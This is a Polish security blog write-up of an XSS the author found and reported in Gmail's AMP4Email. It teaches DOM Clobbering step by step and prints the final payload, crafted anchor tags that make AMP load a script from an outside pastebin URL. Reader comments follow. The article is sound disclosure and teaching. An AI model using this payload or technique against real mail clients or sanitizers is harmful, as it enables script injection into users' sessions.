Żądny wiedzy? Wbijaj na Mega Sekurak Hacking Party w maju! -30% z kodem: majearly

XSS w AMP4Email w Gmailu, wykorzystując DOM Clobbering

26 listopada 2019, 12:30 | Teksty | komentarzy 5
This write-up has also been published in English on Securitum Research Blog.

W tym tekście opisuję XSS, który znalazłem w sierpniu 2019 w usłudze AMP4Email udostępnianej przez Google od jakiegoś czasu w GMailu. Ten XSS jest ciekawym przykładem wykorzystania techniki znanej jako Dom Clobbering

Czym jest AMP4Email

AMP4Email (znany także jako dynamiczne maile / dynamic mails) to nowa funkcja GMaila, dzięki której w wiadomościach mailowych można umieszczać dynamiczną treść HTML. Samo tworzenie maili z użyciem HTML-a nie jest w żadnym wypadku nowością, natomiast do tej pory zakładano, że takowy HTML zawiera wyłącznie statyczne elementy (np. formatowanie czy obrazki), zaś elementy takie jak skrypty czy formularze są zablokowane. Celem AMP4Email jest pójście krok dalej i pozwolenie na umieszczanie w środku maili dynamicznej treści. Google na swoim blogu poświęconemu G Suite jako przykładowe przypadki użycia maili dynamicznych pisało tak:

W mailach dynamicznych możesz podjąć działanie bezpośrednio z samej wiadomości, np. odpowiedzieć na zaproszenie na spotkanie, wypełnić kwestionariusz, przeglądać katalog czy odpowiedzieć na komentarz.

Jako przykład weźmy komentowanie w Google Docs. Zamiast otrzymywania pojedynczych maili powiadamiających, gdy ktoś wywoła cię w komentarzu, możesz w interfejsie Gmaila zobaczyć najbardziej aktualny wątek z komentarzami i bezpośrednio w nim na niego odpowiedzieć.

Sam fakt dopuszczania dynamicznej treści w mailach rodzi naturalne pytanie o ochronę przed podatnością XSS (Cross-Site Scripting). Skoro można w mailu umieścić dynamiczną treść, czy oznacza to, że możemy w łatwy sposób wykonać dowolny kod JavaScript? Cóż… nie. Nie jest aż tak prosto.

AMP4Email używa walidatora, który – w największym skrócie – zawiera listę tagów oraz atrybutów, które dozwolone są w mailach dynamicznych. Na stronie https://amp.gmail.dev/playground/ można się z walidatorem zmierzyć, zobaczyć kilka przykładów, a także wysłać takiego maila do samego siebie, by zobaczyć jak on wygląda!

Rys 1. AMP4Email Playground

Rys 1. AMP4Email Playground

W przypadku próby dodania jakiegokolwiek tagu lub atrybutu HTML, który nie jest wyraźnie dopuszczony przez walidator, otrzymamy błąd (Rys 2.).

Rys2. Walidator nie pozwala na umieszczanie tagów script

Rys 2. Walidator nie pozwala na umieszczanie tagów script

Gdy poszukiwałem różnego rodzaju obejść walidatora na AMP4Email, zauważyłem, że atrybut id nie jest zabroniony (Rys 3).

Rys 3. Atrybut id nie jest zabronione

Rys 3. Atrybut id nie jest zabronione

Czułem, że to ciekawe miejsce do dalszej analizy, jako że tworzenie elementów HTML, w których ma się kontrolę nad atrybutem id może prowadzić do problemu bezpieczeństwa znanego jako DOM Clobbering.

DOM Clobbering

DOM Clobbering to dość stara cecha przeglądarek, która po dziś dzień lubi powodować problemy w nieoczekiwanych momentach. Zazwyczaj kiedy tworzymy element w HTML-u (np. <input id=username>), a następnie chcemy się do niego odwołać z poziomu JavaScriptu, to używamy funkcji takich jak: document.ElementById('username') czy document.querySelector('#username'). Ale na tym się nie kończy!

Najstarszy sposób uzyskiwania referencji do konkretnych obiektów, to użycie właściwości globalnego obiektu window. Oznacza to, że window.username zwraca dokładnie to samo, co document.getElementById('username'). To zachowanie (znane właśnie jako DOM Clobbering) może prowadzić do ciekawych podatności, jeśli aplikacji podejmuje pewne decyzje na bazie istnienia zmiennych globalnych (wyobraźmy sobie kod typu: if (window.isAdmin) { ... }).

W ramach dalszej analizy DOM Clobbering, zrobimy małe ćwiczenie. Zakładamy, że mam następujący kod JS:

if (window.test1.test2) {
    eval(''+window.test1.test2)
}

Naszym celem jest wykonanie dowolnego kodu JS używając wyłącznie technik DOM Clobbering. By rozwiązać ćwiczenie, musimy rozwiązać dwa problemy:

  1. Wiemy, że można tworzyć nowe właściwości w obiekcie window, ale czy da się tworzyć nowe właściwości w innych obiektach (czyli test1.test)?
  2. Czy mamy kontrolę nad tym, w jaki sposób elementy DOM są rzutowane na ciągi znaków? Większość z nich w takim wypadku zwraca wartość podobną do [object HTMLInputElement].

Zacznijmy od pierwszej kwestii. Gdyby poszukać rozwiązania w Internecie, najpewniej najwięcej sugestii związanych byłoby z użyciem tagu <form>. Każdy element <input>, znajdujący się wewnątrz tagu <form> jest dodawany jako właściwość, w taki sposób, że nazwa właściwości jest równa atrybutowi name tego elementu <input>. Weźmy przykład:

<form id=test1>
  <input name=test2>
</form>
<script>
  alert(test1.test2); // wyświetli "[object HTMLInputElement]"
</script>

Mamy więc (przynajmniej na razie) rozwiązany problem: potrafimy tworzyć własciwości obiektów. By rozwiązać drugą kwestię i znaleźć takie elementy HTML, które zwracają coś nietypowego przy rzutowaniu na ciąg znaków, napisałem prosty kod, który iteruje po wszystkich możliwych elementach w HTML-u u sprawdza, czy metoda toString jest dziedziczona z Object.prototype, czy została zaimplementowana w inny sposób. Jeśli nie jest dziedziczona, wówczas prawdopodobnie coś innego niż [object nazwaElementu]. Oto kod:

Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

W wyniku jego wykonania dostałem dwa wyniki: HTMLAreaElement (<area>) i HTMLAnchorElement (<a>). Ten pierwszy jest zabroniony w AMP4Email, więc skupmy się na drugim. W przypadku elementów <a>, metoda toString zwraca wartość atrybutu href. Na przykład:

<a id=test1 href=https://securitum.com>
<script>
  alert(test1); // wyświetli "https://securitum.com"
</script>

W tym momencie może się wydawać, że próba rozwiązania naszego problemu (tj. wykonania wartości window.test1.test2 z wykorzystaniem DOM Clobberingu) sprowadzi się do poniższego kodu:

<form id=test1>
  <a name=test2 href="x:alert(1)"></a>
</form>

Problem w tym, że taki kod wcale nie zadziała; test1.test2 będzie miało wartość undefined. Okazuje się, że o ile elementy <input> stają się właściwościami tagu <form>, o tyle to samo nie dzieje się w przypadku <a>.

Istnieje jednak ciekawe rozwiązanie problemu, które działa w przypadku przeglądarek opierających się o silniki WebKit i Blink (zatem m.in. Chrome, Edge, Safari). Załóżmy, że mamy dwa elementy o takiej samej wartości id:

<a id=test1>click!</a>
<a id=test1>click2!</a>

Pytanie: co uzyskamy, gdy spróbujemy się odwołać do window.test1? Intuicyjnie spodziewałbym się, że dostanę tylko pierwszy element o takim id (tak zresztą się dzieje w przypadku document.getElementById('test1'). Jednak w ww. przeglądarkach dostajemy obiekt typu HTMLCollection!

Rys 4. window.test1 to HTMLCollection

Rys 4. window.test1 to HTMLCollection

Rzecz szczególnie warta uwagi (i widoczna na rys. 4) jest taka, że do konkretnych elementów tej kolekcji możemy się dostać za pomocą ich indeksu (więc w tym przypadku są to 0 i 1), jak również za pomocą ich id. Oznacza to, że window.test1.test1 odnosi się do pierwszego elementu kolekcji. Ponadto okazuje się, że ustawienie atrybutu name również powoduje utworzenie nowych właściwości w HTMLCollection. Mamy więc następujący kod:

<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>

I możemy dostać się do drugiego linku poprzez window.test1.test2.

Rys 5. window.test1.test2 jest wreszcie zdefiniowane

Rys 5. window.test1.test2 jest wreszcie zdefiniowane

Wracając więc do oryginalnego zadania wykorzystania eval(''+window.test1.test2) za pomocą DOM Clobberingu, rozwiązaniem jest:

<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>

Wróćmy więc do AMP4Email, by zobaczyć jak DOM Clobbering dało się wykorzystać w realnej aplikacji.

Wykorzystanie DOM Clobbering w AMP4Email

Wspomniałem już, że AMP4Email jest podatne na DOM Clobbering poprzez dodanie własnego atrybutu id do tagów. Gdy szukałem możliwości wykorzystania tej podatności, pomyślałem, że zobaczę jakie właściwości są zdefiniowane w obiekcie window (rys 6). Moją uwagę zwróciły te, których nazwa zaczyna się od AMP.

Rys 6. Właściwości globalnego obiektu window

Rys 6. Właściwości globalnego obiektu window

W tym momencie okazało się, że AMP4Email zawiera pewną ochronę przed DOM Clobberingiem, ponieważ zabrania ustawiania pewnych wartości dla atrybutu id, np. AMP (Rys 7).

Rys 7. Atrybut id=AMP jest niedopuszczalny w AMP4Email

Rys 7. Atrybut id=AMP jest niedopuszczalny w AMP4Email

Takiego zabezpieczenia nie było jednak w przypadku AMP_MODE. Przygotowałem więc kod typu <a id=AMP_MODE> by po prostu zobaczyć, co się stanie…

… a stał się interesujący błąd w konsoli (Rys 8.).

Rys 8. Błąd 404 podczas próby ładowa

Rys 8. Błąd 404 podczas próby ładowania pewnego skryptu

Jak widać na rys. 8, AMP4Email próbuje załadować pewien skrypt JS, ale nie udaje mu się to ze względu na błąd 404. To co zwraca szczególną uwagę, to fakt, że w środku adresu URL znajduje się słowo undefined. Przychodziło mi do głowy tylko jedno wyjaśnienie, dlaczego tak może się dziać: AMP próbuje pobrać jakąś właściwość AMP_MODE i umieścić ją w adresie URL. Ze względu na DOM Clobbering, ta właściwość nie istnieje, stąd zwracany jest undefined. Poniżej wklej zdeobfuskowany (i trochę uproszczony) kod pobrany ze źródeł AMP, który był odpowiedzialny za dynamiczne ładowanie skryptu.

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {
    loc = window.testLocation
} else {
    loc = window.location;
}

if (AMP_MODE.localDev) {
    loc = loc.protocol + "//" + loc.host + "/dist"
} else {
    loc = "https://cdn.ampproject.org";
}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
script.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(script);

Na samym początku tworzony jest nowy element script. Następnie, sprawdzamy czy wartości AMP_MODE.test i window.testLocation są prawdą. Jeśli tak, a dodatkowo AMP_MODE.localDev jest prawdą, wówczas window.testLocation jest używane jako baza do generowania pełnego adresu URL skryptu. Może na pierwszy rzut oka tego nie widać, ale kod jest napisany w taki sposób, że stosując sam DOM Clobbering możemy mieć pełną kontrolę nad treścią skryptu.

Załóżmy, że AMP_MODE.localDev i AMP_MODE.test są prawdziwe, by zobaczyć, jak kod upraszcza się jeszcze bardziej:

var script = window.document.createElement("script");
script.async = false;

b.src = window.testLocation.protocol + "//" + 
        window.testLocation.host + "/dist/rtv/" + 
        AMP_MODE.rtvVersion; + "/" + 
        (AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") + 
        "v0/" + pluginName + ".js";

document.head.appendChild(b);

Wcześniej rozwiązywaliśmy ćwiczenie, w którym chodziło o nadpisanie window.test1.test2 za pomocą DOM Clobberingu. W kodzie powyżej musimy zrobić dokładnie to samo, ale window.testLocation.protocol. Gdy to się uda, mamy wówczas pełną kontrolę nad adresem URL, z którego pobierany jest skrypt.

W ostateczności kod wykorzystujący podatność wyglądał następująco:

<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

<!-- window.testLocation.protocol is a base for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol" 
   href="https://pastebin.com/raw/0tn8z0rG#"></a>

W rzeczywistych warunkach kod pomimo wszystko się nie wykonał ze względu na politykę Content-Security-Policy:

Content-Security-Policy: default-src 'none'; 
script-src 'sha512-oQwIl...==' 
  https://cdn.ampproject.org/rtv/ 
  https://cdn.ampproject.org/v0.js 
  https://cdn.ampproject.org/v0/

Nie udało mi się znaleźć sposobu na obejście tej konkretnej polityki, choć gdy próbowałem to zrobić, znalazłem jedno ogólne obejście CSP, przydatne, gdy polityka opiera się o katalogi (informacje na jego temat wrzucałem na Twittera). Tak czy owak, Google w swoim programie bug bounty nie bierze pod uwagę CSP, jeśli chodzi o ustalenie kwoty do zapłacenia, więc nie musiałem mieć pełnego obejścia dla ich polityki. Ale było to ciekawe wyzwanie i może komuś innemu uda się takowe obejście znaleźć ;)

Podsumowanie

W artykule pokazałem w jaki sposób DOM Clobbering może zostać wykorzystany do wykonania XSS-a, jeśli spełnione są pewne warunki. Jeśli macie ochotę pobawić się nieco z tą podatnością, to niedawno opublikowałem wyzwanie XSS-owe, oparte właśnie na moich przebojach z AMP4Email.

 Michał Bentkowski – hakuje i szkoli w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Marek

    Mega interesujący artykuł, dziękuję!

    Odpowiedz
    • M

      Również dziękuję za pracę. Czyta się świetnie, teraz jeszcze wszystko zrozumieć…

      Odpowiedz
      • X

        Nie rozumiesz bo źle napisane sese se se

        Odpowiedz
  2. 杨睿

    Ciekawe! Dzięki!

    Odpowiedz
  3. Marcin

    Czy to
    „…używamy funkcji takich jak: document.ElementById(’username’)…” nie powinno być document.getElementById(’username’) ?

    Odpowiedz

Odpowiedz na 杨睿